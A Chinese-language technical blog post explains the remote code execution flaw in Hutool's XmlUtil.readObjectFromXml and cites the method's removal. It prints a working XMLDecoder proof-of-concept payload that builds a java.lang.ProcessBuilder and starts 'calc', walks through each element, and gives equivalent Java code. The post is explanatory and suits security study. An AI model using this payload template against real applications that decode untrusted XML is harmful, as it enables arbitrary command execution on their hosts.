IO之反序列化漏洞

hutool之XmlUtil反序列化漏洞

  • 同样存在漏洞的方法还有IoUtil.readObject方法,存在反序列化漏洞,这些方法的漏洞在JDK中本身就存在,而且JDK的做法是要求用户自行检查内容,作为工具类,这块没法解决。
  • hutool在新版本中把这个方法拿掉了
    • 【core 】 【重要】删除XmlUtil.readObjectFromXml方法,避免漏洞(issue#2855@Github)

问题描述

Hutool提供的XML实用程序类在使用XmlUtil.readObjectFromXml解析不受信任的XML字符串时可能容易受到远程代码执行的攻击

使用示例

java 复制代码
    public static void main(String[] args) {
        InputSource inputSource = new InputSource(StrUtil.getReader("<java>\n" +
                "    <object class=\"java.lang.ProcessBuilder\">\n" +
                "        <array class=\"java.lang.String\" length=\"1\">\n" +
                "            <void index=\"0\">\n" +
                "                <string>calc</string>\n" +
                "            </void>\n" +
                "        </array>\n" +
                "        <void method=\"start\"></void>\n" +
                "    </object>\n" +
                "</java>\n"));
        Object result;
        XMLDecoder xmldec = null;
        try {
            xmldec = new XMLDecoder(inputSource);
            result = xmldec.readObject();
        } finally {
            IoUtil.close(xmldec);
        }
    }

漏洞原理

这个XML片段描述了一个 java.lang.ProcessBuilder 对象的序列化表示,并且调用了它的 start 方法。以下是对该XML片段的详细解释:

xml 复制代码
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"></void>
    </object>
</java>
  1. 根元素 <java>:
  • 包含整个Java对象序列化的描述。
  1. 对象 <object class="java.lang.ProcessBuilder">:
  • 表示创建一个 java.lang.ProcessBuilder 对象。
  • class 属性指定了要创建的对象的类,这里是 java.lang.ProcessBuilder
  1. 数组 <array class="java.lang.String" length="1">:
  • 表示创建一个包含 String 对象的数组。
  • class 属性指定数组元素的类型是 java.lang.String
  • length 属性指定数组的长度是 1。
  1. 数组元素 <void index="0">:
  • 表示数组的第一个元素(索引为0)。
  • 包含一个 <string> 元素,其值为 calc,表示要在 ProcessBuilder 中运行的命令是 calc
  1. 方法调用 <void method="start"></void>:
  • 表示调用 ProcessBuilder 对象的 start 方法。
  • start 方法启动由 ProcessBuilder 配置的进程(在这种情况下,启动计算器应用程序)。

用Java代码展示等效的对象创建和方法调用

等效的Java代码如下:

java 复制代码
import java.io.IOException;

public class Main {
    public static void main(String[] args) {
        // 创建 ProcessBuilder 对象,并配置它启动 calc 命令
        ProcessBuilder processBuilder = new ProcessBuilder("calc");

        try {
            // 调用 start 方法,启动进程
            Process process = processBuilder.start();

            // 检查进程是否在运行
            if (process.isAlive()) {
                System.out.println("The process is running...");
            } else {
                System.out.println("The process failed to start.");
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

解释:

  1. 创建 ProcessBuilder 对象:

    java 复制代码
    ProcessBuilder processBuilder = new ProcessBuilder("calc");
  2. 调用 start 方法:

    java 复制代码
    Process process = processBuilder.start();
  3. 检查进程是否在运行:

    java 复制代码
    if (process.isAlive()) {
        System.out.println("The process is running...");
    } else {
        System.out.println("The process failed to start.");
    }

这个Java代码段执行的操作与XML描述的操作相同,创建了一个 ProcessBuilder 对象,配置它运行 calc 命令,并启动该命令。

相关推荐
喵叔哟9 分钟前
重构代码中引入外部方法和引入本地扩展的区别
java·开发语言·重构
尘浮生15 分钟前
Java项目实战II基于微信小程序的电影院买票选座系统(开发文档+数据库+源码)
java·开发语言·数据库·微信小程序·小程序·maven·intellij-idea
不是二师兄的八戒38 分钟前
本地 PHP 和 Java 开发环境 Docker 化与配置开机自启
java·docker·php
爱编程的小生1 小时前
Easyexcel(2-文件读取)
java·excel
带多刺的玫瑰1 小时前
Leecode刷题C语言之统计不是特殊数字的数字数量
java·c语言·算法
计算机毕设指导62 小时前
基于 SpringBoot 的作业管理系统【附源码】
java·vue.js·spring boot·后端·mysql·spring·intellij-idea
Gu Gu Study2 小时前
枚举与lambda表达式,枚举实现单例模式为什么是安全的,lambda表达式与函数式接口的小九九~
java·开发语言
Chris _data2 小时前
二叉树oj题解析
java·数据结构
牙牙7052 小时前
Centos7安装Jenkins脚本一键部署
java·servlet·jenkins
paopaokaka_luck2 小时前
[371]基于springboot的高校实习管理系统
java·spring boot·后端